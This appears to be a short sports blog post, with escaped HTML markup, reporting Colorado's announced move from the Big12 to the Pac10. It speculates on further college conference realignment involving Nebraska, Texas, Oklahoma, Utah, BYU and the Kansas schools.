Colorado <a href=\"http:\/\/www.pac-10.org\/genrel\/061010aaa.html\">just officially announced<\/a> that it is leaving the Big12 to join the Pac10.<\/p>\n<p>What is next?  Nebraska is widely expected to leave the Big12 to join the Big10.  If that happens then the Big12 is reportedly dead.  The other big dogs (Texas and Oklahoma) don&#8217;t want to stay in the Big12 if Nebraska is gone.  So there is a decent chance that most if the Big12 South will also defect to the Pac10 creating the Pac16.<\/p>\n<p>If for some reason Nebraska stays in the Big12 that would be good news for both Utah and BYU.  Utah is first in line to join CU in the Pac10 and BYU would surely be a top candidate to replace CU in the Big12.  If the Big12 implodes things get messier because it would leave schools like Kansas and Kansas State without a conference at all.  Maybe the Mountain West would be able to recruit them in that case.<\/p>\n<p>Lots and lots of dominoes yet to fall folks.
